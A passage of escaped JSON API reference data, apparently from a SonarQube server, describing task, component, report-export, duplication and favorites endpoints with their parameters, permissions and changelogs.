string\\u003C/li\\u003E\\u003Cli\\u003Etask ids that are exactly the same as the supplied string\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.5\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Apache\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;status\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma separated list of task statuses\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;SUCCESS,FAILED,CANCELED\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;IN_PROGRESS,SUCCESS\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;SUCCESS\u0026#34;, \u0026#34;FAILED\u0026#34;, \u0026#34;CANCELED\u0026#34;, \u0026#34;PENDING\u0026#34;, \u0026#34;IN_PROGRESS\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;type\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Task type\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;REPORT\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;REPORT\u0026#34;, \u0026#34;ISSUE_SYNC\u0026#34;, \u0026#34;AUDIT_PURGE\u0026#34;, \u0026#34;PROJECT_EXPORT\u0026#34; ] } ] }, { \u0026#34;key\u0026#34;: \u0026#34;activity_status\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Returns CE activity related metrics.\\u003Cbr\\u003ERequires \u0026#39;Administer System\u0026#39; permission or \u0026#39;Administer\u0026#39; rights on the specified project.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.5\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Remove deprecated field \u0026#39;componentId\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;componentId\u0026#39; is now deprecated.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;componentKey\u0026#39; is now removed. Please use parameter \u0026#39;component\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;New field \u0026#39;pendingTime\u0026#39; in response, only included when there are pending tasks\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;New field \u0026#39;inProgress\u0026#39; in response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.6\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;component\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Key of the component (project) to filter on\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;component\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Get the pending tasks, in-progress tasks and the last executed task of a given component (usually a project).\\u003Cbr\\u003ERequires the following permission: \u0026#39;Browse\u0026#39; on the specified component.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;field \\\u0026#34;logs\\\u0026#34; is dropped\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Deprecated parameter \u0026#39;componentId\u0026#39; has been removed.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;component\u0026#39; is now required.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of module keys in parameter \\\u0026#34;component\\\u0026#34; is deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;fields \\\u0026#34;branch\\\u0026#34; and \\\u0026#34;branchType\\\u0026#34; added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;field \\\u0026#34;logs\\\u0026#34; is deprecated and its value is always false\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.1\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;component\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;task\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Give Compute Engine task details such as type, status, duration and associated component.\\u003Cbr/\\u003ERequires one of the following permissions: \\u003Cul\\u003E\\u003Cli\\u003E\u0026#39;Administer\u0026#39; at global or project level\\u003C/li\\u003E\\u003Cli\\u003E\u0026#39;Execute Analysis\u0026#39; at global or project level\\u003C/li\\u003E\\u003C/ul\\u003ESince 6.1, field \\\u0026#34;logs\\\u0026#34; is deprecated and its value is always false.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Warnings field will be now always be filled (it is not necessary to mention it explicitly in \u0026#39;additionalFields\u0026#39;). \u0026#39;additionalFields\u0026#39; value `warning\u0026#39; is deprecated.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;\u0026#39;Project Administrator\u0026#39; is added to the list of allowed permissions to access this endpoint\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;fields \\\u0026#34;branch\\\u0026#34; and \\\u0026#34;branchType\\\u0026#34; added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.6\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;additionalFields\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of the optional fields to be returned in response.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.1\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;stacktrace\u0026#34;, \u0026#34;scannerContext\u0026#34;, \u0026#34;warnings\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;id\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Id of task\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/cnesreport\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.5\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Export a report in zip file.\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;report\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Export a report in zip file.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.5\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;author\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Author of the report\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Administrator\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;branch\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Branch of the project\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;feature/my_branch\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;enableConf\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Enable export of quality configuration used during analysis\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;true\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;enableCsv\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Enable csv generation\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;true\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;enableDocx\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Enable report generation\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;true\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;enableMd\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Enable markdown generation\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;true\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;enableXlsx\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Enable spreadsheet generation\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;true\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Key of the project\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;language\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Language of the report\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;en_US\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;en_US\u0026#34;, \u0026#34;fr_FR\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;token\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Authentication token (for protected project)\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;e4aa1351d0a3936e55d23e340402f48f7dced48b\u0026#34; } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/components\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.2\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Get information about a component (file, directory, project, ...) and its ancestors or descendants. Update a project or module key.\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;search\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Search for components\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Param \u0026#39;language\u0026#39; has been removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of \u0026#39;DIR\u0026#39;,\u0026#39;FIL\u0026#39;,\u0026#39;UTS\u0026#39; and \u0026#39;BRC\u0026#39; as values for parameter \u0026#39;qualifiers\u0026#39; is no longer supported\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Field \u0026#39;id\u0026#39; from response has been removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of \u0026#39;BRC\u0026#39; as value for parameter \u0026#39;qualifiers\u0026#39; is deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.6\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;p\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;1-based page number\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;42\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;ps\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Page size. Must be greater than 0 and less or equal than 500\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;100\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;20\u0026#34;, \u0026#34;maximumValue\u0026#34;: 500 }, { \u0026#34;key\u0026#34;: \u0026#34;q\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Limit search to: \\u003Cul\\u003E\\u003Cli\\u003Ecomponent names that contain the supplied string\\u003C/li\\u003E\\u003Cli\\u003Ecomponent keys that are exactly the same as the supplied string\\u003C/li\\u003E\\u003C/ul\\u003E\\u003Cbr\\u003EThe value length of the param must be between 2 and 15 (inclusive) characters. In case longer value is provided it will be truncated.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;sonar\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;qualifiers\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of component qualifiers. Filter the results with the specified qualifiers. Possible values are:\\u003Cul\\u003E\\u003Cli\\u003ETRK - Projects\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;TRK\u0026#34; ] } ] }, { \u0026#34;key\u0026#34;: \u0026#34;show\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Returns a component (file, directory, project, portfolio…) and its ancestors. The ancestors are ordered from the parent to the root project. Requires the following permission: \u0026#39;Browse\u0026#39; on the project of the specified component.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;The use of module keys in parameter \u0026#39;component\u0026#39; is removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of module keys in parameter \u0026#39;component\u0026#39; is deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.6\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;branch\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Branch key. Not available in the community edition.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.6\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;feature/my_branch\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;component\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Component key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;pullRequest\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Pull request id. Not available in the community edition.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.1\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;5461\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;tree\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Navigate through components based on the chosen strategy.\\u003Cbr\\u003ERequires the following permission: \u0026#39;Browse\u0026#39; on the specified project.\\u003Cbr\\u003EWhen limiting search with the q parameter, directories are not returned.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;The use of module keys in parameter \u0026#39;component\u0026#39; is removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of \u0026#39;BRC\u0026#39; as value for parameter \u0026#39;qualifiers\u0026#39; is removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of \u0026#39;BRC\u0026#39; as value for parameter \u0026#39;qualifiers\u0026#39; is deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of module keys in parameter \u0026#39;component\u0026#39; is deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.6\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;asc\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Ascending sort\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;true\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;branch\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Branch key. Not available in the community edition.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.6\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;feature/my_branch\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;component\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Base component key. The search is based on this component.\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;p\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;1-based page number\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;42\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;ps\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Page size. Must be greater than 0 and less or equal than 500\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;100\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;20\u0026#34;, \u0026#34;maximumValue\u0026#34;: 500 }, { \u0026#34;key\u0026#34;: \u0026#34;pullRequest\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Pull request id. Not available in the community edition.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.1\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;5461\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;q\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Limit search to: \\u003Cul\\u003E\\u003Cli\\u003Ecomponent names that contain the supplied string\\u003C/li\\u003E\\u003Cli\\u003Ecomponent keys that are exactly the same as the supplied string\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;FILE_NAM\u0026#34;, \u0026#34;minimumLength\u0026#34;: 3 }, { \u0026#34;key\u0026#34;: \u0026#34;qualifiers\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of component qualifiers. Filter the results with the specified qualifiers. Possible values are:\\u003Cul\\u003E\\u003Cli\\u003EUTS - Test Files\\u003C/li\\u003E\\u003Cli\\u003EFIL - Files\\u003C/li\\u003E\\u003Cli\\u003EDIR - Directories\\u003C/li\\u003E\\u003Cli\\u003ETRK - Projects\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;UTS\u0026#34;, \u0026#34;FIL\u0026#34;, \u0026#34;DIR\u0026#34;, \u0026#34;TRK\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;s\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of sort fields\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;name, path\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;name\u0026#34;, \u0026#34;path\u0026#34;, \u0026#34;qualifier\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;strategy\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Strategy to search for base component descendants:\\u003Cul\\u003E\\u003Cli\\u003Echildren: return the children components of the base component. Grandchildren components are not returned\\u003C/li\\u003E\\u003Cli\\u003Eall: return all the descendants components of the base component. Grandchildren are returned.\\u003C/li\\u003E\\u003Cli\\u003Eleaves: return all the descendant components (files, in general) which don\u0026#39;t have other children. They are the leaves of the component tree.\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;all\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;all\u0026#34;, \u0026#34;children\u0026#34;, \u0026#34;leaves\u0026#34; ] } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/duplications\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.4\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Get duplication information for a project.\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;show\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Get duplications. Require Browse permission on file\u0026#39;s project\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;The fields \u0026#39;subProject\u0026#39;, \u0026#39;subProjectName\u0026#39; were removed from the response.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Deprecated parameter \u0026#39;uuid\u0026#39; was removed.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The fields \u0026#39;uuid\u0026#39;, \u0026#39;projectUuid\u0026#39;, \u0026#39;subProjectUuid\u0026#39; were removed from the response.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;uuid\u0026#39; is now deprecated.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The fields \u0026#39;uuid\u0026#39;, \u0026#39;projectUuid\u0026#39;, \u0026#39;subProjectUuid\u0026#39; are now deprecated in the response.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.5\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;File key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project:/src/foo/Bar.php\u0026#34; } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/favorites\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.3\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Manage user favorites\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;add\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Add a component (project, portfolio, etc.) as favorite for the authenticated user.\\u003Cbr\\u003EOnly 100 components by qualifier can be added as favorite.\\u003Cbr\\u003ERequires authentication and the following permission: \u0026#39;Browse\u0026#39; on the component.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;The use of module keys in parameter \u0026#39;component\u0026#39; is removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;It\u0026#39;s no longer possible to set a file as favorite\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;It\u0026#39;s no longer possible to have more than 100 favorites by qualifier\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.7\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;It\u0026#39;s no longer possible to set a directory as favorite\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.7\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of module keys in parameter \u0026#39;component\u0026#39; is deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.6\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;component\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Component key. Only components with qualifiers TRK, VW, SVW, APP are supported\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project:/src/foo/Bar.php\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;remove\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Remove a component (project, portfolio, application etc.) as favorite for the authenticated user.\\u003Cbr\\u003ERequires authentication.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;The use of module keys in parameter \u0026#39;component\u0026#39; is removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of module keys in parameter \u0026#39;component\u0026#39; is deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.6\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;component\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Component key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, 